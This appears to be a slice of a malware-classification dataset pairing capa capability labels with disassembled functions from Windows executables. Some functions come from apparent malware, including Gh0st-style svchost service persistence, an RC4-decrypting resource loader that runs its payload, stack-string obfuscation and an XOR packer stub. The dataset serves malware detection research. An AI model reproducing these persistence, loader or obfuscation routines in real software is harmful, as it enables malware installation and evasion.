joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004800
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push closesocket
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004923
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004918
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x10004923
cmp si, 1
je 0x10004923
push str.Evfkod_Jwt_legaIen
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10004908
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x10004923
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x100048bd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x10004930
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.100046a0
test eax, eax
jne 0x1000493e
call fcn.100041d0
call fcn.10004800
test eax, eax
jne 0x1000494c
jmp fcn.100043d0
ret
Function at 0x10004f40
Capabilities:
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push esi
push edi
jne 0x100050b4
push 0x37a
push str.Evfkod_Jwt_legaIen
call fcn.10004b80
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [esp + 0x220]
add esp, 0xc
push 0x104
push 0x1000fed8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 8]
stosw word es:[edi], ax
push 0x104
push ecx
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000fed8
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100050b4
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.100059c0
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
call fcn.10003e70
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x10c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push eax
call fcn.10003f00
add esp, 4
call fcn.100041d0
call fcn.100043d0
push 0x1000
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
push 0x1000fed8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__LmvaTRvpjvwpj__bqe
call fcn.10004950
add esp, 4
call fcn.10004050
call fcn.10003f90
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret 0xc

Function at 0x100053e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005402
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100034d0
add esp, 8
test al, al
jne 0x10005416
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x404860
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402090
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.00403170
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.00403440
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401650
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401b20
lea ecx, [ebp - 0x114]
call fcn.00401c00
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402390
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x41f2c0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x423288
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x4227f4], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x4227f4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x4049f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x4236f4]
call edi
mov esi, eax
test esi, esi
jne 0x404a3c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x4236f4]
call edi
mov esi, eax
test esi, esi
je 0x404a20
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push 0x7e7
push esi
call dword [sym.imp.SHLWAPI.dll_wvnsprintfW]
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0xc]
movzx eax, word [ebp - 0x12]
push ecx
movzx ecx, word [ebp - 0xe]
push ecx
movzx ecx, word [ebp - 0x10]
push ecx
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
lea eax, [ebp - 0x9c]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x423288
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [ebp - 8]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x9c]
push eax
push dword [0x4227f4]
call edi
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebx + ebx]
push eax
push esi
push dword [0x4227f4]
call edi
push 0
lea eax, [ebp - 8]
push eax
push 4
push 0x41f304
push dword [0x4227f4]
call edi
push 0x423288
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404b80
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x423278], 0
jne 0x404bb2
push str.Global_biobioMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x4236a0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404bb2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x721f1402
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x36df5d8d
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x405fb3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x124dc
call fcn.004161d0
mov eax, dword [0x436f74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x122a0], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x122a8], eax
xor edi, edi
xor eax, eax
cmp dword [ebp + 0x14], edi
jbe 0x4060e8
push ebx
push esi
mov esi, 0x12296
mov byte [ebp + eax - 0x1229c], al
inc eax
cmp eax, esi
jb 0x405ff1
xor eax, eax
mov dword [ebp - 0x122a4], eax
lea ecx, [ebp + eax - 0x1229c]
xor edx, edx
div dword [ebp + 0xc]
mov eax, dword [ebp - 0x122a0]
mov bl, byte [ecx]
movzx edx, byte [edx + eax]
add edx, edi
movzx eax, bl
add eax, edx
xor edx, edx
mov edi, esi
div edi
mov edi, edx
lea eax, [ebp + edi - 0x1229c]
mov dl, byte [eax]
mov byte [ecx], dl
mov byte [eax], bl
mov eax, dword [ebp - 0x122a4]
inc eax
mov dword [ebp - 0x122a4], eax
cmp eax, esi
jb 0x406005
mov ecx, dword [ebp - 0x122a8]
xor eax, eax
mov dword [ebp - 0x122ac], eax
mov dword [ebp - 0x122a0], ecx
jmp 0x406066
mov eax, dword [ebp - 0x122a4]
dec dword [ebp + 0x14]
inc eax
xor edx, edx
mov ecx, esi
div ecx
push 0
lea edi, [ebp + edx - 0x1229c]
mov bl, byte [edi]
movzx eax, bl
add eax, dword [ebp - 0x122ac]
mov dword [ebp - 0x122a4], edx
xor edx, edx
div ecx
lea eax, [ebp + edx - 0x1229c]
mov cl, byte [eax]
mov byte [edi], cl
lea ecx, [ebp - 0x124dc]
mov dword [ebp - 0x122ac], edx
mov byte [eax], bl
call fcn.00405ef3
movzx eax, byte [edi]
movzx ecx, bl
add eax, ecx
cdq
mov ecx, esi
idiv ecx
mov eax, dword [ebp - 0x122a0]
mov cl, byte [ebp + edx - 0x1229c]
xor byte [eax], cl
inc eax
lea ecx, [ebp - 0x124dc]
mov dword [ebp - 0x122a0], eax
call fcn.00403d12
cmp dword [ebp + 0x14], 0
jne 0x406060
mov eax, dword [ebp - 0x122a8]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00415a8b
leave
ret
Function at 0x4060f5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x284
mov eax, 0x4291fa
call fcn.00415b03
mov edi, dword [ebp + 8]
push str.CZ5gi3jH
lea ecx, [ebp - 0x50]
call fcn.00405ed1
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x41
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 0x4e
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x6d
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x60], eax
call fcn.00405ef3
mov eax, dword [ebp - 0x3c]
lea eax, [eax*8 - 0x5f27204]
push eax
push esi
mov byte [ebp - 4], 1
call fcn.00404456
push 0x31cb1743
push esi
mov dword [ebp - 0x58], eax
call fcn.00404456
add esp, 0x10
push 0xa
push 0x2420
push ebx
mov dword [ebp - 0x5c], eax
call dword [ebp - 0x58]
mov esi, eax
cmp esi, ebx
jne 0x40621a
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], bl
call fcn.00403d12
push ebx
push 1
lea ecx, [ebp - 0x50]
call fcn.004040f4
xor al, al
call fcn.00415b86
ret
push esi
push ebx
call dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
cmp eax, ebx
je 0x4061f9
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push 0x42b5c8
mov dword [ebp - 0x58], eax
call fcn.00416211
pop ecx
push eax
push 0x3000
push dword [ebp - 0x58]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x60]
mov esi, eax
cmp esi, ebx
jne 0x406278
mov byte [ebp - 0x51], bl
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], bl
call fcn.00403d12
push ebx
push 1
lea ecx, [ebp - 0x50]
call fcn.004040f4
mov al, byte [ebp - 0x51]
jmp 0x406214
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push esi
call fcn.00416220
push dword [ebp - 0x58]
push esi
push dword [ebp + 0xc]
push edi
call fcn.00405fb3
add esp, 0x1c
call esi
mov byte [ebp - 0x51], 1
jmp 0x40625a
Function at 0x40bfb9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40c000
call fcn.0040f911
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40c000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40c01c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040bb33
mov esi, eax
test edi, edi
je 0x40c01a
test ebx, ebx
je 0x40c01a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e540
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x40e564
cmp dword [edi + 0x54], 0
jne 0x40e564
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0040f911
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040e501
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x415a8b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436f74]
jne 0x415a95
repz ret
jmp fcn.0041c5fc
Function at 0x423b05
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041bfe2
and dword [ebp - 4], 0
cmp dword [0x43adb8], 0
mov ebx, eax
jne 0x423bb6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x423c67
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42fac8
push edi
call esi
test eax, eax
je 0x423c67
push eax
call fcn.0041bf70
mov dword [esp], 0x42fab8
push edi
mov dword [0x43adb8], eax
call esi
push eax
call fcn.0041bf70
mov dword [esp], 0x42faa4
push edi
mov dword [0x43adbc], eax
call esi
push eax
call fcn.0041bf70
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43adc0], eax
call esi
push eax
call fcn.0041bf70
pop ecx
mov dword [0x43adc8], eax
test eax, eax
je 0x423bb6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041bf70
pop ecx
mov dword [0x43adc4], eax
mov eax, dword [0x43adc4]
cmp eax, ebx
je 0x423c0e
cmp dword [0x43adc8], ebx
je 0x423c0e
push eax
call fcn.0041bfeb
push dword [0x43adc8]
mov esi, eax
call fcn.0041bfeb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x423c0e
test edi, edi
je 0x423c0e
call esi
test eax, eax
je 0x423c05
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x423c05
test byte [ebp - 0xc], 1
jne 0x423c0e
or dword [ebp + 0x10], 0x200000
jmp 0x423c47
mov eax, dword [0x43adbc]
cmp eax, ebx
je 0x423c47
push eax
call fcn.0041bfeb
pop ecx
test eax, eax
je 0x423c47
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x423c47
mov eax, dword [0x43adc0]
cmp eax, ebx
je 0x423c47
push eax
call fcn.0041bfeb
pop ecx
test eax, eax
je 0x423c47
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43adb8]
call fcn.0041bfeb
pop ecx
test eax, eax
je 0x423c67
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x423c69
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x55c9d4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x631350]
jne 0x55c9de
repz ret
jmp fcn.00563a1b

Function at 0x57607c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x631350]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0056453e
and dword [ebp - 0x14], 0
cmp dword [0x63a958], 0
mov dword [ebp - 0x18], eax
jne 0x57612f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x5761d7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x5761d7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x63a958], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x63a95c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x63a960], eax
call edi
push eax
call esi
mov dword [0x63a968], eax
test eax, eax
je 0x57612f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x63a964], eax
mov eax, dword [0x63a964]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x576188
cmp dword [0x63a968], ecx
je 0x576188
push eax
call esi
push dword [0x63a968]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x576188
test ebx, ebx
je 0x576188
call edi
test eax, eax
je 0x57617f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x57617f
test byte [ebp - 8], 1
jne 0x576188
or dword [ebp + 0x10], 0x200000
jmp 0x5761bb
mov eax, dword [0x63a95c]
cmp eax, dword [ebp - 0x18]
je 0x5761bb
push eax
call esi
test eax, eax
je 0x5761bb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x5761bb
mov eax, dword [0x63a960]
cmp eax, dword [ebp - 0x18]
je 0x5761bb
push eax
call esi
test eax, eax
je 0x5761bb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x63a958]
call esi
test eax, eax
je 0x5761d7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x5761d9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055c9d4
leave
ret

Function at 0x57f0d0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x57f0f6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x57f0e0
ret
Function at 0x40a95b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41db90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405b86
and dword [ebp - 0x14], 0
cmp dword [0x43da60], 0
mov dword [ebp - 0x18], eax
jne 0x40aa0e
push 0x40247c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40aab6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402470
push ebx
call edi
test eax, eax
je 0x40aab6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402460
push ebx
mov dword [0x43da60], eax
call edi
push eax
call esi
push 0x40244c
push ebx
mov dword [0x43da64], eax
call edi
push eax
call esi
push 0x402430
push ebx
mov dword [0x43da68], eax
call edi
push eax
call esi
mov dword [0x43da70], eax
test eax, eax
je 0x40aa0e
push 0x402418
push ebx
call edi
push eax
call esi
mov dword [0x43da6c], eax
mov eax, dword [0x43da6c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40aa67
cmp dword [0x43da70], ecx
je 0x40aa67
push eax
call esi
push dword [0x43da70]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40aa67
test ebx, ebx
je 0x40aa67
call edi
test eax, eax
je 0x40aa5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aa5e
test byte [ebp - 8], 1
jne 0x40aa67
or dword [ebp + 0x10], 0x200000
jmp 0x40aa9a
mov eax, dword [0x43da64]
cmp eax, dword [ebp - 0x18]
je 0x40aa9a
push eax
call esi
test eax, eax
je 0x40aa9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40aa9a
mov eax, dword [0x43da68]
cmp eax, dword [ebp - 0x18]
je 0x40aa9a
push eax
call esi
test eax, eax
je 0x40aa9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43da60]
call esi
test eax, eax
je 0x40aab6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40aab8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040acd5
leave
ret

Function at 0x40acd5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41db90]
jne 0x40acdf
repz ret
jmp fcn.00413cf4
Function at 0x41b0a0
Capabilities:
Delete file
Get uefi variable

Disassembly:
sub esp, 0xc18
cmp dword [0x2b675c4], 0x37
jne 0x41b108
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea eax, [esp + 0x41c]
push eax
push 0x4035d8
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov ecx, dword [0x2b679d8]
mov eax, dword [0x2b670a8]
mov dl, byte [ecx + esi + 0x38d6]
mov byte [eax + esi], dl
add esp, 0xc18
ret